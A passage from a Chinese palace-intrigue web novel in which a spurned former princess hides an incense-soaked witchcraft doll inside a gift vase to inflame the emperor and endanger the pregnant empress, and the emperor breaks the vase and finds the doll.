她心头有利刃刺过,也痛到无法呼吸。
这是她一生中第一次承受这样的剧痛。痛和恨,是不一样的。
当年张道恭和周婈珠那对奸夫淫妇使计害她远嫁和亲时,接过那封圣旨,她满脑子里都是铺天盖地的怒与恨,唯独没有痛。
只有她心心念念、念念不忘之人,才能伤她,使她痛。
她平静地应下:“妾拜谢陛下隆恩。”
皇帝又懒懒道:“你寻回来的那些物件,若有能哄得皇后高兴的,朕照例有赏赐。——退下吧。”
也许他对她的归来感到几分期待,只是因为他的皇后孕中郁郁寡欢,他等着这些西域外藩千里迢迢献来的人或物,能给他的皇后拿去当个解闷的消遣,能博那个女人一笑。
张玉令忽然再难忍住,抬头满目泪光地看着他:
“陛下……陛下,十年前,妾曾与陛下在洛阳有过一面之缘。十年前,妾曾向陛下许诺,愿一生侍奉追随陛下……”
当年她倒也不是说要一生追随,她的意思是,她愿意找他做驸马。
如今物是人非,身份颠倒,再提这话,当然也要换个话头委婉地提起了。
面对她的示好,皇帝却只剩下冷漠淡然:
“朕乃天子,天命所归,天下人都该一生追随侍奉朕。”
张玉令精致的杏眼里滚落苦涩的泪珠:
“妾心至此不改,妾……妾心至此不曾有改。”
皇帝已经倦乏了:“张氏,看在你龟昌国先王遗孀的身份上,朕对你已是格外宽宥,你再在这里言行疯癫,朕即刻将你送去和你前朝张家的宗亲们关在一处了结残生!”
她忽然在哭中笑了出来,仍是自顾自地诉说着自己多年来的悲苦和哀怨:
“只因十年前一面,妾曾立誓此生必将追随陛下,此心十年不改。陛下,陛下,——妾虽是龟昌国先王的遗孀,可妾、妾,”
她声音低了下去,似乎自己也不忍启齿,
“妾念着陛下,至今为陛下保有处子之身,不愿失身于旁人。陛下,陛下!”
“妾心意不改,在归国路上仍心心念念还想能侍奉陛下左右,哪怕只能为陛下洒扫庭除,投洗衣履,归为奴仆,妾也心甘情愿啊陛下!”
身为一个女子,还是一个曾经那样高贵荣耀的女子,让她放下自己的尊严卑躬屈膝地跪伏在地和他说出这番话来,已是她的极限。
可周奉疆是怎样回答她的呢?
“朕有天下人作为臣仆,宫内尚不缺宫人使唤。宣室殿容不得你污言秽语,把她给朕拖出去,即刻送回扶风高家,叫高家严加看管。”
他短暂落在她身上的目光也带上了几分厌恶的鄙夷。
张玉令伏地而泣,哀怨的泪像一条被撕了口的江,漫天倾泻在地上。
她知道她对他来说是个无关紧要的人,甚至于,他愿意接她回国,大抵也并不是看在他和她旧日的情意上。
这一切都是她自作多情。
龟昌国使臣们为什么卑躬屈膝地过来朝拜,又是献国宝又是献美女?
那是因为在今年年初时,疏勒都督府的魏军边军与龟昌骑兵为夺一城池而血战过,疏勒边军愈战愈勇,大获全胜,夺得本应属于龟昌的城池近十余个,险些将兵锋抵到了龟昌国王的脖子上。
龟昌王与西域周遭诸小国的国王们一下大惊失色,胆丧魂惊,面对这群重甲精兵,他们也忽然意识到,中原的王朝改朝换代了,此一时彼一时,汉人的边军也非昔时那群只知软弱无能的酒囊饭袋。
惊慌失措之下,为求自保,当然只能一面献地求和,一面对着大魏皇帝又是称陛下又是叫君父的,派来使臣朝拜乞降。
也是在这时,寡居的她看到了能再度归国的希望。
她找到了那位龟昌新王,自己名义上的继子。
她告诉他说,只要他愿意送她归国,只要他愿意帮她争宠,等到来日她俘获君心,再度显耀,甚至于……如果以后她的儿子能当上太子,她一定会好好报答他的。
给他土地,财帛,什么都可以。
因为她知道,只要自己能再回到周奉疆的身边,只要自己能做他的女人,这些全是有希望的,这些都是她能得到的。
他怎么可能不想要她呢?
纵使他见过天下美人,可她的容色也并不输给她们多少,她还是美的。
她曾和他有过旧情,她还是前朝金贵的公主,龟昌国君的王后,这样的身份,哪怕哪个身居高位的男人并不喜欢她,面对她的主动献身,至少睡一睡,满足一番心里的变态癖好也还是愿意的。
男人不都是这样的么?
哪怕他愿意碰她半下呢?
只要半下,她就能让他再也离不开她,能让他把她永远留在身边。
这是西域的胡巫们告诉她的,这是她身体拥有的魔力。
为了获得这份魔力,她为此付出了太多,她服下那么多苦涩、腥臭、漆黑的汤药,吃下了那么多恶心的东西……
可他却连多看她一眼都不愿意。
张玉令去扶风郡还是没有去成。
因为她从宣室殿内出来后,转头就借口称想要拜见皇后,静静地候在了椒房殿的宫门外。
媜珠自然没有不见之理,即应允了下来,叫人请长沙公主入内。
片刻后,长沙公主整肃仪容,缓缓步入椒房殿内。
她已来不及叹息这座寝殿的奢华精致,唯有怀揣着满腹恨意,一步步如同走在刀尖上一般走向那个女人。
跪地,叩首,在她的应准下起了身,再称赞她的美丽。
直到这时,她才有机会近距离地看了一眼那个夜夜歇在他枕畔之侧的女人。
那本应是她的丈夫,本应是属于她的皇后之位。
不过是阴差阳错,阴差阳错,就这样生生和她擦肩而过,哪个女人能甘心?哪个女人心里会没有半分怨念?
除非是圣人。
而他现在的妻子也极美的,哪怕怀着身孕,也并未损耗她的半分美貌容颜。
两人闲散地聊了几句后,观望着这位皇后举手投足间的脾性,长沙公主垂首微微一笑:
“妾自远乡归国,虽还不曾细细观赏长安风土,却隐约也能猜到几分,自妾回国,免不得要有些人云亦云的风言风语。”
媜珠也笑:“本宫深居禁廷,久不闻宫外事,倒不知是什么口舌言语了。”
张玉令的姿态极谦卑,“不论娘娘现在可否听闻,大抵以后也是要知道。娘娘可否听妾细言陈情?妾再拜厚谢娘娘恩德。”
这话的意思是想和她私下说些什么。
媜珠犹豫片刻,望向侍立两侧的宫娥们。
宫娥旋即知会她的意思,一声不吭地转身一一退下,带上了殿门。
见众人退下,张玉令起身再度跪伏在地,头颅低垂,声音哀婉:
“妾知娘娘一定听过这样的流言,只是娘娘宽厚仁德,不曾和贱妾一般计较而已。”
“——妾曾和当今大魏皇帝陛下有过一桩口头定下的婚约,妾才应是今时今日嫁给当今陛下的女人。”
她望向媜珠:“娘娘听过这样的流言罢?”
第93章
媜珠敛于袖中的双手不自然地握紧了。
于片刻沉默中,她抿了抿自己的唇,并未出声回应长沙公主的“坦诚”。
她也不知自己该怎样回应才能显得她的确对他们这桩“旧情”毫不在乎。她是个太要自尊的人,嫉妒与吃醋都会使她认为自己变得低贱。
就像小时候,明明她偶尔也会在意父亲更宠爱家里的兄长和弟弟们,她也会介意父亲将更多的期望和寄予全都倾注在兄长弟弟们身上,仿佛只有他的儿子们才能成材,女儿们都是没有指望的。
但她绝不会表现出来,不会让父亲发现自己的醋意和算意,这对于一个女儿来说是不应当的,是出格的、蛮横无理的。
她只会在家中力所能及的更加严格要求自己自己,督促自己关心兄弟姐妹,善良柔婉,知书达理,以此来向父亲彰显仿佛他的女儿日后也可以为他光耀门楣。
见媜珠不语,长沙公主微微笑了笑:
“妾今日愿在此向娘娘起誓,妾绝无此念,从不敢与娘娘比肩,更不曾与陛下生过情愫。妾心清白,妾行守德。”
她望向媜珠,眸光是那样的坚定,
“娘娘,妾年少时受尽荣宠,也曾骄横无礼,跋扈张扬,不知收敛,明里暗里得罪过太多人,否则后来如何会沦落到如斯地步?所谓流言蜚语,不过是有心之人恶意中伤而已,妾实在辩无可辩,恐怕只有以死明志!”
媜珠微愣,又轻笑一声:“公主这话,本宫可当不起。公主之事,亦和本宫无关。”
长沙公主眼中的光亮渐渐消散了下去:“是妾失言,惹娘娘不快了,妾罪该万死,还请娘娘恕罪。”
她缓缓瘫坐于地,
“妾年少跋扈张扬,昔年在洛阳时又曾和琅琊公主不快,生出无数龃龉,如今妾将回国,终有安宁之日,难保有旧日的仇怨催生出恶言来,将许许多多莫须有之事强加于妾身。娘娘或许不爱听这些话,可妾知道他们这么做、这么说,是为了图什么。
一则是想借娘娘之手惩治妾身,叫妾被娘娘暗中处置报复,二则,又是阴妒娘娘,欲以此事败坏娘娘的声名。”
“妾的确是清白的。不瞒娘娘,妾当年的确曾在洛阳的酒楼中私下见过当今陛下,可妾见陛下一面,也只是感念陛下于我有恩,免去我嫁给奚族王子的苦楚,所以妾赠给了陛下一些金银俗物,此外再无他话。”
“妾再说句大逆不道罪该万死的话,那时的陛下,在前楚至宁十七年时只是个小小的北地武将,妾乃穆宗皇帝嫡女,代宗朝的长沙长公主,外祖家又是望族世家,妾心性之高傲,又岂会看得上一个北地武将?
杜撰这些污言秽语之人,在当年提这些话是为了诽谤侮辱妾身,在今时今日提这些话,是为了害死妾身,也是为了中伤娘娘有孕养胎的心情。”
“妾是前朝余孽,残花败柳之身,妾这样的人,改朝换代的时候死一万个也不值得史书提笔半句。可娘娘腹中怀着的是大魏的第一个皇子,何其尊贵,万万不能有半下闪失的。妾此来椒房殿,只想与娘娘澄清诬言,但求娘娘孕中无忧无怒,平安诞下皇子。”
被她这样一说,媜珠有几分动摇,但又忍不住道:
“你写给陛下的信,我看见了。”
张玉令又苦笑一声:“若妾说,那信不是妾写的,而是龟昌国使臣自作主张写给陛下的。他们想逼我攀附陛下,以此为龟昌国美言。妾实在含冤难辩,真欲一头撞死了才好。娘娘,何况妾是汉家女子,妾又怎能帮着异国谋利?”
媜珠再度沉默,没有回答。
张玉令低头用袖口拭了拭泪珠,低声凄凄地对媜珠又道:
“妾还有一言想与娘娘说,只求娘娘别告诉旁人才好。——妾知道娘娘是从前的周三娘子,是我姑母俪阳公主的嫡孙女。娘娘身上流着的血,也有我们张家的份,妾还侥幸和娘娘沾着一点血亲。妾的故国没了,可故国的血脉还在。妾日夜期盼娘娘能诞下皇子,到底这小皇子也流着一点张家的血。娘娘以为,妾会记恨娘娘、对娘娘不利吗?”
“陛下愿意迎妾归国,也是指望着妾带来的西域珍宝、舞姬伶人们可以哄娘娘孕中高兴,对小皇子好。”
“妾愿意指天地发誓,妾愿折己身寿数为娘娘腹中皇子祈福,绝无半句虚言。”
媜珠问:“——你是怎么知道的?”
她问的是张玉令是如何知晓她的身世的。
张玉令笑:“是娘娘的二姐姐,哼,这种女人的嘴里什么话是不能说的?真话她可以到处宣扬,假话她也敢四处诽谤。当年她在洛阳编排娘娘的话,少说也有一箩筐了。彼时娘娘的父兄都被陛下给……哎,琅琊公主就满洛阳的告诉,说冀州新节度使的夫人,就是从前的三娘子,还说娘娘……说了娘娘许多坏话,说娘娘和陛下早就,早就……”
媜珠的神色有些低落了下去,心头一惊。
张玉令也好,二姐姐也好,她们的话对她来说都是半真半假,似乎谁都有道理,却谁都无法彻底取信她。
她忽然想起周奉疆来。
做一个皇后都这么难,要疲于应付和分辨这些人的各种言辞,做一个皇帝是不是更难?
天下臣民有一万张嘴,他该去听谁的?
张玉令过来的时候带了一个精致的木盒,里头大约装了什么东西。
话说到这个份上,她俯身去打开那个木盒,一面打开盒子,她一面又自言自语道:
“妾绝无半分非分之想,还能侥幸回国,妾一心只想平平静静地继续嫁人生子,过一个妇人最安宁的生活。妾还想厚颜求一求娘娘的恩典,请娘娘为妾赐婚呢。若无娘娘的恩典,妾还能嫁到什么好人家去?”
说话间她打开了那个木盒子,里头竟装着一只精致奢靡的琉璃瓷瓶,描金绣彩,一眼望去便是价值连城的宝物。
张玉令有些讨好地对媜珠笑道:
“这只瓷瓶,还是前楚的开国皇后所有的,后来一代代传下去,也就传到了我母亲高皇后的手中。高皇后生前把此物留给了我,说要庇佑我一生无病无灾,平安顺遂。
大约正是有此宝瓶庇佑,妾虽身遭磨难,然乱世中竟也没伤没病的活到了今日,可见此瓶当真有用。妾愿将此物献给娘娘,只想求它福佑娘娘和娘娘腹中的小皇子。”
说着,她还有些贼兮兮地压低了声音:“娘娘不用对妾有戒备之心,娘娘腹中的皇子还有我们张家的血脉,于妾而言,可不是只盼着娘娘的小皇子日后登临大宝?谁亲谁重,妾还分不清吗?”
瞧她如此,媜珠反而放下了心中的防备,又有些过意不去了。
她有几分歉疚,以为是自己善妒吃醋故意曲解了这个可怜的女人,当下神色和缓了许多,柔声请她起来。
这琉璃宝瓶她不好意思收,又请长沙公主带回去。
长沙公主执意不肯,一定要赠给媜珠,说要庇佑她腹中胎儿,请她放在房内做个陈设。
“此物历来是传给当朝皇后的,传国之宝,如今只有娘娘能受用她,若不放在娘娘这里,就算是宝物也要蒙尘的。”
她还笑言说:“娘娘若怕这东西不好,还请照顾娘娘的医者们先来查验一番才是。”
那琉璃宝瓶中微有一股幽幽的香气,媜珠轻轻嗅了嗅,倒不是她讨厌的味道。
张玉令起身已欲告退,她还不忘提醒媜珠:
“还请娘娘就看在俪阳公主的份上,您是俪阳公主的嫡亲孙女,妾也是俪阳公主的侄女,求娘娘过阵子想起来妾,也能为妾指一桩体面的婚事,让妾得以安稳余生,妾实在感激不尽,来生当牛做马报答娘娘。”
媜珠和婉地笑了笑:“婚嫁之事还要看自己喜不喜欢,若是公主有什么中意的儿郎,也可来告诉本宫就是。”
媜珠话未说完,外头已传来皇帝过来的动静:
“媜媜,张氏和你说什么了?”
殿门一下大开,皇帝踏入殿内,神情有些焦急,余光带着一丝厌恶,轻轻拂过跪在地上那个女人的身上。
张玉令却抢先道:“陛下,还请陛下勿怪妾贪慕虚荣……妾是和娘娘说,妾归国后归为寻常女子,婚嫁自如,想请娘娘为妾指婚,给妾寻一个好儿郎托付呢。”
周奉疆显然一愣。
他望向媜珠,似是在查探媜珠的意思,媜珠浅笑着点了点头:
“长沙公主是这个意思,陛下,妾心中是想……或许等公主自己心里瞧好了什么人家,妾再为公主赐婚,倒比盲婚哑嫁的要好些呢。自然了,若公主再婚,单是念在公主曾和亲远藩的功劳苦楚,妾也当再为公主赠上一份丰厚的嫁妆。”
周奉疆默了默,显然是有些不可置信。
他以为张氏过来定然是为了挑拨他与媜珠之间的关系,将那些陈芝麻烂谷子的破事添油加醋地告诉媜珠,惹媜珠生气不快的。
倒不曾想,这女人的心性转的如此之快,也这样识时务,紧赶慢赶着就为自己寻下一条好出路。
也不算愚笨。
见没什么大事发生,媜珠心情也还不错的样子,他便也放下了心来。
他的目光也转向了那只琉璃宝瓶,媜珠说是长沙公主所赠。
张玉令又道:“这宝瓶上沾染了些西域的熏香,至今仍有些幽幽的香气,也不知陛下和娘娘闻不闻得惯,娘娘若要将此物搁在殿内,定要请医者们来检查一番才好。”
张玉令很快离宫出去了。
那盏精致奢华的琉璃瓶则被媜珠小心翼翼地搁在了自己寝殿内殿的博古架上。
收了张玉令这样的厚礼,又曾在心中误会过她,她还是十分不安又歉疚,便叫来佩芝一起,在她库房的珍宝中挑挑拣拣选了好些东西,叫人取出来赠给长沙公主,算是她略表谢意了。
周奉疆忽然发现,媜珠的心情从张玉令来过之后似乎便肉眼可见地好了很多。
甚至这天晚上两人一起用晚膳时,她还多了许多笑颜,也不再如前几日那般郁郁寡欢。
他难免有些好奇张玉令关起门来到底和她说了些什么。
媜珠搪塞过去:“长沙公主讲了许多她在西域的见闻,的确新奇有趣。妾不曾去过西域,当然愿意多听她说说这些故事了。”
周奉疆仍有几分不信:“就说这些?需要关起门来说?”
他心中仍有些莫名的不安,毕竟每次媜珠要关起门来和谁偷偷说话,最后必定要出点什么岔子。
——实在是太多惨烈的前车之鉴了。
媜珠故意摆出一副不悦的架子来:
“公主归国,故国已亡,她心中忐忑不安,身如浮萍,希望我能为她找一门好婚事,这话她怎么好意思对着椒房殿满殿的宫人嚷嚷,她不要脸面的吗?当然要关起门来偷偷说了。”
周奉疆将信将疑。
他垂下眼帘为媜珠挑着一块鲜嫩鱼肉中的鱼刺,一边状似不经意地提醒了她一句:
“少和张氏来往,到底是前朝之人,不过是看在她和亲过的份上才给她一份亡国后的体面的。她的婚嫁也由她外祖高家做主,你不必去掺和。”
媜珠问他:“陛下从前似乎从未和妾说过这样的话,今日为何如此评说长沙公主?”
皇帝只道:“这话你该问问你二姐姐,你要给她寻个好婚事,保管能把你二姐姐气死。”
他用那块鱼肉堵住了媜珠的嘴。
他虽对张玉令尚有几分莫名的不放心,但见她至少能哄得媜珠开怀,倒也算解了他的燃眉之急了。
至夜,宫娥们服侍媜珠沐浴梳洗毕,为她换上寝衣,将她送入床帐内歇下。
她的肚子已经有两个多月了,因她本就身子纤薄,四肢细细,是以这时柔软的肚腹上便能看出些许隆起,是那个小生命在一点一点长大的痕迹。
母亲怕她孕中肚腹生纹,损伤身段,从她的肚子刚满两个月起就叫人给她制了蛇油珠粉膏,叫她每晚睡前细细地涂抹肚腹,滋养肌肤。
媜珠披散着夜雾一般的浓密长发,懒懒地躺在织金妆花缎的软被上,像一只毛发雪白的柔软的兔,终于柔顺安静了下来,可以被人顺着毛爱抚。
周奉疆梳洗更衣后也上了榻,半跪在她身侧,从她肚腹处掀起她的寝衣,取来那蛇油珍珠粉制的软膏,置于自己宽厚的掌心,然后一点点轻柔地涂抹着她雪白的肚腹上。
媜珠是喜欢被他这样抚弄的,他的掌心带着薄茧,虽有几分粗糙,可他抚摸她的动作又是温柔的,叫媜珠异常享受。
他也喜欢这样看着她,看着她像一只怀孕的母猫,懒洋洋地翻着肚腹对人撒娇,毫不设防、全然信任的姿态,似乎你只要轻轻叼着她的后颈便可以把她叼回窝里,她也绝不反抗。
……如果她真是一只猫呢?如果她真是一只猫,不论她愿意活在街坊闹市还是山林深村,他都会陪着她,和她生一窝一窝的猫崽。他还会给她抓来许多的鱼虾作为供奉,要把她供成一只得道的猫妖,要她长生不老,修炼成仙。
他今天晚上直接给她涂蛇油膏,意思便是今晚不会碰她。
这是她怀孕后两人之间心照不宣的约定。
他对她仍有需求,也会对她的身体有反应,虽则他不会要求她真的侍寝,但媜珠还是少不了各种配合他,或是用手,或是用其他。
他会蹭在她身上,会弄脏她。当然,事后他也会为她擦拭干净。
为了不浪费她肚皮涂上去的软膏,每次夜里他准备对她做什么时,他总会在一切结束后才给她涂肚皮。
若是这夜对她无欲无求,他就会直接为她涂好肚子,然后哄她睡下。
媜珠被他的手掌抚摸得昏昏欲睡,加之今日她了结了一桩心事,心中安稳,很快就沉沉睡下了。
周奉疆凝视着她的睡颜许久,也在她身侧躺下。
然而至夜深时,他歇在这样馨香娇艳的温柔乡里,从四肢到脊背之间陡然涌起一股燥热的炙意,叫他浑身的血液也渐渐沸腾起来。
他忽然睁开了双眸,在这深深漆黑的长夜里缓缓吐出一口浊气。
媜珠在他怀中熟睡,睡颜安稳恬静,绵长地吐息,胸脯靠在他的怀中。
他睁眼煎熬许久,那股灼热的躁动却久久难以消退,叫他烦躁地皱眉。
也许是在睡梦中察觉到了什么异样,媜珠嘟了嘟唇,嘤咛了一声,哼哼唧唧地在他怀中翻了半个身,转身又睡了下去。
他最终还是没忍住,轻轻撩起了她的衣,握住那雪腻的峰。
媜珠后来被他吵醒,静静地睁着眼在黑暗中看着他。
事毕后,他粗喘着抱住她,亲吻她的后颈,哑声告诉她说,以后不会这样,不会再有下次,不会再吵到你的好梦。
媜珠困倦地阖起了眼,并不相信男人在榻上的鬼话。
之后的几天里,白日里似乎并没有什么要紧的大事发生,一切似乎皆复归于平静。
西域诸国使臣们献来的宝物的确分走了媜珠大半的精神,她喜欢一一去看这些稀奇的东西,并且常常从中挑选合适的物件赏赐给宗亲女眷们。
唯一有些异样的,还是在夜里。
周奉疆在夜里越来越不做人,对她索求愈多,几乎到了夜夜放纵的地步。
媜珠起先还能应付他一番,可她后来也察觉他越来越过分,甚至会在她熟睡后继续对她发情,将她再从榻上拽起来。
她的心事无处吐露,只能在私下隐晦地告诉给母亲和母亲的嬷嬷福蓉。
福蓉抚了抚她的背,也有些不安地怀疑道:
“兴许还真是这上头的事儿,娘娘……”
她咬咬牙,尽量委婉地和媜珠提起这些男女之事,“从您有了肚子,陛下就再未真真儿宠幸过您了,平常榻上那些……那些也不作数的。兴许是男人憋着的火气重,所以这才愈发厉害起来……”
媜珠又有些郁郁起来:“那我怎么办?他这样,我该怎么办?”
某夜云雨后,周奉疆拥着汗涔涔的媜珠躺下,鼻间似乎又似有似无地传来一阵幽幽的淡香。
那香气分明是轻柔的,幽婉的,是温顺无害、淡若清风的味道,可钻入他的头颅中,又让他更加烦躁起来。
他忽地从榻上披衣起身,双眸如鹰隼一般在黑夜里游走于这殿内,眸光锐利似剑。
媜珠唤了他两声,他也置若罔闻。
终于,他在那博古架前站定,望向了那只张玉令献来的琉璃宝瓶。
良久,他吐出一口浊气,“这瓶子有问题。明日让王医丞他们再来看看,你先别搁在殿内了。”
媜珠回过神来后直接被他气笑了,她也披了寝衣起身过来,站在他身侧和他一起望向这只宝瓶:
“能有什么问题?怎么,看见它你就会发狂?”
她又凑近嗅了嗅那瓶中散发的似有似无的香气:
“我还挺喜欢这味道的。”
周奉疆的眼神益发凛冽起来:“这香味有问题。若不是这香气,朕不至于——”
媜珠转身就走,双腿颤颤发软,打着哈欠要回去继续睡下:
“你少折腾王医丞,那天他就看过这琉璃瓶了,里里外外检查过都说没什么问题。明明是你自己好色荒淫,总要把由头都朝别人身上推。”
周奉疆犹不肯放弃,依然叫人过来,今夜就把这瓶子抱出去。
媜珠这会儿才是真的烦他了,她倒也不是为了替张玉令说什么好话,就是被他折腾了半夜后忍不住发脾气,连带着对他过去积攒的怨气都一并爆发出来:
“放那,不准动!本宫说了不准动!
——你好色又不是一天两天了,怎么,如今我怀孕了你还是对我有反应,你自己面子上也过意不去,是么?呵,你要是忍不住也不用只对着我一个人啊,龟昌使臣们不是给你送了许多西域美人么?还不够你使的?”
周奉疆的火气也被她挑起了几分:
“张玉令是你什么人?你就要这样护着她?朕今日就一定要把这东西弄走,再叫太医署的人都来看过,朕说这东西有问题,它就一定有问题。”
媜珠蓦然瞪大双眸,抚着肚子坐在床榻边和他吵起来:
“她是我什么人?我该问问她是你什么人!你以为我不知道有人以她的名义给你写过信!何等情意绵绵!你连一句话都没跟我提过,怎么,是心虚吗?外头有人沸沸扬扬传说她和你有过一段旧情,你开口跟我解释过半句吗?你为什么不解释?”
周奉疆一下哑然,许久后才反问她:
“你是从哪听来的这些子虚乌有之事?”
媜珠冷笑:“不论真真假假,那么多人都知道,就我不该知道。”
他仰了仰脖颈,顾忌她有孕在身,终究咽下了这口气,声音放柔了下来,
“这些我都可以和你解释,好了,媜媜,夜深了,我们安置吧。”
媜珠被他气得浑身发抖:“把那瓶子放在那。就算这瓶子有问题,我也要看看到底是什么人要怎么害我。”
周奉疆不想和她一般计较,低声命佩芝把它抱出去。
媜珠又喝令佩芝放回去,弄得佩芝一个头两个大。
就在佩芝抱起这个瓶子时,周奉疆忽地注意到这琉璃宝瓶大的有些出奇,瓶身几乎是一般瓷瓶的两三倍大。
他从瓶口往下望了一眼,总觉得这瓶子有些不对劲,瓶身内外似乎空着一截隐秘的空间,不知放了些什么在里头。
他伸手探了一圈,愕然发觉瓶身内的确有个小小的机关,但是试了半圈也摸不到其中的关窍。
周奉疆一时不耐烦,直接抄起这瓶子往地上砸去,哗啦一声,宝瓶应声而碎,前楚一朝传了二百多年的珍宝,就此化为一地的碎片。
然,于这一地碎片中,似乎还有一件不该有的东西。
是个布人偶。
佩芝一下跪倒在地,双手发颤地捡起那只布人偶,只是看了一眼,很快便吓得说不出话来了。
“陛下,陛下……陛下息怒,这,这宫中有人对陛下行巫蛊厌胜之术。”
媜珠忽然发现有人在看向自己。
她惊出了一身冷汗。
第94章
在被连夜召进宫中时,张玉令的内心是有过一股忐忑的。
她并不曾预料到事发之日会来得如此快,更不知道自己是否该为此感到些许庆幸?
是庆幸,还是该失望?
一把悬在她头顶数日的剑,今夜终于是坠了下来,不必让她继续在日夜的悬心紧张中重复受煎熬了。
至于马上这把剑将会劈在周媜珠的身上,还是会劈在她自己身上,连她也不能全然确定。
然,不入虎穴焉得虎子,冒多大的险就能带来多大的回报,这个道理她是懂的,她也心甘情愿以身入局。
在入宫的一路上,其实她仍感到有些失望,因为直到事发之时,她似乎还没有听到周媜珠小产的消息,这一局设计得再好,终归还是有点纰漏的。
若是周媜珠腹中的孩子也掉了下来,也许更能让周奉疆厌弃她。
而今那个孩子还在……多少会有几分成为周媜珠狡辩与翻身的依仗,想起来就叫她有些心烦意乱。
她自认为走这一步棋对自己来说是利大于弊的,也是胜算最大的。
龟昌国地处西域,来往异邦人众多,也多的是许多汉人不曾听说过的胡巫奇术。
从龟昌启程返国之时,她尚未料到周媜珠会有身孕,对她这一胎也没有任何的对策。
但还好,还好她还为周奉疆准备了一份“大礼”。这东西可算是帮了她大忙了。
那琉璃宝瓶中的人偶摄的是周奉疆的魂,当中用一根金针刺过人偶的心口,直抵脏器,而那金针的另一端,是一只小小的金锁扣,正佩于她的胸前。
像一根看不见又摸不着的红线,将他们两人无声无息地连结在了一起。
整只人偶浸泡以秘制的血鸦香,最能乱男人的心智与情欲。
人偶芯里,取了她的三滴血滴在里面。
西域的胡巫们都告诉她说,这一定能使得她心心念念的男子爱上她,对她难舍难分,从此之后心里眼里都只看得见她一个人,会让男人对她梦魂颠倒,欲罢不能。
这巫法鲜少有失算之时,此术必能成功。
她将这人偶藏在琉璃宝瓶的隐蔽机关之内,将它献给周媜珠,不论周媜珠和周奉疆能不能发现、是早是晚发现,对她来说都是好处。
反正她已经笃定凭周媜珠自己绝不会发现琉璃瓶中的机关,而那散发出来的幽幽香气,中原的医者们从未见过,也闻不出此物有给男子催情的功效。
只要周媜珠当场查不出这东西有问题,以后再怎么样,都不能再怪在她头上了。
周奉疆这般宠爱周媜珠,哪怕她怀着孕也要夜夜陪着她,宿在她身边。
哼,她会让周媜珠知道,这样的宠爱会给她带来多大的报应。
——若是她和周奉疆都没有察觉那琉璃瓶中的异样,瓶中的幽香则会夜夜激起男人的血性和欲望,只要周奉疆忍不住宠幸她,她那肚子里的孽种早晚保不住。此为她张玉令之得。
即便周奉疆能忍住为了这个孩子不碰她,可他心里的火已经被加倍勾起来了,他迟早会宠幸别人,纳左右妃妾,打破周媜珠独一无二的专房之宠。他能开始碰别的女人,早晚也会愿意碰她的。这对她有好处,亦为她张玉令之所得。
——若没过多久,周媜珠或是周奉疆发现那琉璃瓶里的异样,发现了那只人偶,周奉疆一定会勃然大怒,他一定会觉得是周媜珠在暗中诅咒他。
周媜珠若因此被废弃,此为她张玉令之大得;
哪怕周媜珠不被废,只要能让周奉疆从此对她起了疑心,对赵家生起芥蒂不满,对周媜珠的宠爱大打折扣乃至对她冷淡下来,也还算是她赢了。
这一局,掷在棋盘上就是个十八面的骰子,哪一面翻出来怎么算都该是她赢。
她不信周媜珠能有从中脱身的妙计。就算她肚子里怀着那个孽种。
而她现在要做的,就是在面对周奉疆的责问时,利口巧辞,一面甩脱自己的嫌疑,一面将此罪祸水东引,转嫁到周媜珠头上去。
张玉令知道“巫蛊”这两个字,在宫廷中能掀起多大的风浪来,自幼熟读史书的周媜珠更是心知肚明。
——这是历朝历代的皇帝最忌讳的灾祸。
不论这是个怎样的皇帝,是大权在握还是傀儡之君,是贤明还是昏庸,仁慈还是暴虐,宽忍大度还是目空一世……
只要触及到这两个字了,几乎所有的皇帝都只会有一个反应,
暴怒,然后命人严加追查,牵连甚广,用无数人的鲜血去填平他的怒火。
这时候不论是谁和巫蛊二字沾边都没用了,他的母亲,外戚,宠妃,爱子,亲信,谁都不会得到赦免例外。
在看到那只她从未见过的人偶时,媜珠的心立刻便揪了起来,深深的恐惧席卷全身,在她面前瞬间闪过的是她的母亲、她的外祖赵家人的身影、她椒房殿内外所有无辜宫人们的面容……
也许只要周奉疆愿意,这些人都将被他迁怒,下狱,处置。
她不想看到这样恐怖的画面,至于她自己、至于这只人偶到底是怎么出现在这里的,则是无关紧要的了。
她忽然感到腹部有些隐隐作痛,想要开口说些什么,可是喉咙里又发不出半点声音来。
不过,令她很快安心下来的是,也许是看到她的异常,周奉疆面色焦急地过来抱住了她,将她按在他怀里,轻抚着她的后脑安抚她说:
“媜媜!我知道这些和你无关,别害怕,哥哥替你主持公道,还你清白。”
“乖,不怕了,哥哥知道不是你的错,不是我们媜媜的错,我知道,我都知道。”
她在他怀里很快便止住了颤抖,满心依赖地下意识伸出双臂抱紧了他。
这一刻他所给予她的安全感和溢于言表的宠溺,呈现在她面前是前所未有的清晰。
他也是第一个这样哄着她的人。即便是她的父亲周鼎尚且不曾这样偏宠过她。
当年她失足落入湖中、兄长们袖手旁观而不曾搭手施救时,事后,她也曾这样害怕地伏在父亲周鼎的怀中,哽咽跟他说,爹爹,媜媜以为这辈子差点再也不能看见你了。
她希望她父亲会说,他会为她主持公道。可他终究没有。
或许是周奉疆的怀抱和保护让她汲取到了源源不断的暖意,令她原本发寒的手足也渐渐恢复了知觉,她终于有力气开口说话:
“那东西不是我放的。不是我,不是我,我真的一点也不知道……”
周奉疆愈发用力地抱紧她,亲了亲她的额头,
“我知道,我相信媜媜,我知道这些和你无关。哥哥会为媜媜主持公道的,媜媜,别害怕。”
媜珠泫然泣下,泪光涟涟地伏在他肩头,咬了咬唇低声哽咽:“……不是我,真的不是我。”
他的信任使她心安,又使她再一次清楚地认识到,其实他还是爱她的。而她也离不开他。
在这个世上,她离不开他。
媜珠腹中有些绞痛不适,皇帝立刻叫人去把王医丞拉过来,又命人连夜去把尚居于长安城中的长沙公主张玉令带来审问。
王医丞揉着惺忪的睡眼慌忙穿了衣裳赶过来,跪地为媜珠切过脉,眉头不由一跳。
皇后的确有几分动了胎气,像是受了些什么刺激,难怪她身上不舒服,他即刻督促其他的医者们去为皇后熬煮安胎药来,又叫女医为皇后按了按身上的几个穴道,好让皇后的情绪稳定下来。
等处理好这些,王医丞也长舒了一口气,回过神来就下意识地把罪责朝皇帝身上推去,
“娘娘这回恐怕还是在床笫之间受了刺激,惊动胎象,陛下,陛下!臣……臣三番几次提醒过陛下的,娘娘现在怀胎还不足三月,正是最虚弱的时候,小心翼翼养着还来不及,怎么能,您怎么能……
臣说句罪该万死的悖逆之言:若是陛下都不爱惜娘娘的身子,纵使臣使出浑身解数为娘娘保胎,这也不是长久之计啊!”
他当然大着胆子要把问题都推给皇帝,要不然皇后孕初期胎象不好,岂不是叫这暴君找到由头怪给他们太医署了吗?
